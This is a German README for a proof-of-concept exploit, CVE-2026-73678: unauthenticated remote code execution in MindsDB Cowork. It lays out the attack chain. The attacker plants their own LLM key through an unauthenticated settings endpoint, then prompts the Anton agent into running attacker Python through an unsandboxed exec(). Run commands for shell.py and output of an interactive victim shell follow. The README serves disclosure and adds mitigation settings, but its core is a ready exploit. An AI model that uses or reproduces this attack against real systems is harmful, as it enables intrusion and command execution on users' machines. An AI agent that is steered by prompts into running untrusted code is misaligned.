
PoC-Exploit für CVE-2026-73678: nicht authentifizierte RCE in MindsDB Cowork über einen vom Angreifer bereitgestellten LLM-Schlüssel und unsandboxed Scratchpad-Exec zur Ausführung von OS-Befehlen.
PoC für CVE-2026-73678 (CVSS 3.1 10.0 Kritisch, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
Vollständiger Bericht: www.hunt-benito.com/blog/bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-cowork/
Das FastAPI-Sidecar cowork-server von Cowork setzt /api/v1/ ohne Authentifizierung
frei (CWE-306), CORS allow_origins=["*"] (CWE-942), und das scratchpad-Werkzeug des
Anton-Agenten führt LLM-generierten Python-Code über ein rohes exec() ohne Sandbox aus (CWE-94).
Angriffskette: Den eigenen LLM-Schlüssel des Angreifers über PUT /api/v1/settings/*
hinterlegen → POST /api/v1/responses/ mit einem Prompt, der den Agenten veranlasst,
Angreifercode auf dem Scratchpad auszuführen → Ausführung beliebiger Betriebssystembefehle
als der Benutzer, der die App ausführt.
Adaptiert vom PoC im MindsDB-Advisory GHSA-jcxw-h8ph-pxpv (Credit: Ho Viet Khanh / HK4zCzi).
127.0.0.1:26866)# against a local dev instance (make dev-web)
python3 shell.py AIzaSy... gemini
# explicit target + model
API=http://127.0.0.1:26866/api/v1 python3 shell.py sk-... openai gpt-4o-mini
[*] Setting provider=gemini model=gemini-2.5-flash
[*] validate: {"status": "ok", "configReady": true, ...}
=======================================================
RCE SHELL (type shell commands, 'exit' to quit)
=======================================================
$ id
uid=1000(victim) gid=1000(victim) groups=1000(victim),27(sudo)
Das erzeugte Snippet berechnet os.urandom(4).hex() innerhalb des Opferprozesses und schreibt es nach /tmp/RCE_PROOF.txt. Der Prompt teilt dem Modell mit, dass es den Nonce ohne Ausführung nicht kennen kann. Wenn der zurückgegebene Text einen Nonce enthält, der mit der Datei auf der Platte übereinstimmt, wurde der Code nachweislich ausgeführt — ein halluzinierendes Modell kann ihn nicht erzeugen.
export COWORK_REQUIRE_AUTH=true # auth exists but defaults OFF
export COWORK_AUTH_TOKEN="<long-random>" # or let it auto-generate
export COWORK_ALLOWED_ORIGINS='["http://localhost:26866"]'
# never set COWORK_SERVER_HOST beyond 127.0.0.1; rotate all secrets reachable
# by the account that ran the app
Es existiert kein gepatchter Release-Tag; die Fixes befinden sich ausschließlich auf den main-Zweigen von cowork-server/anton.
Nur für autorisierte Sicherheitstests und Forschung. Nicht gegen Systeme einsetzen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.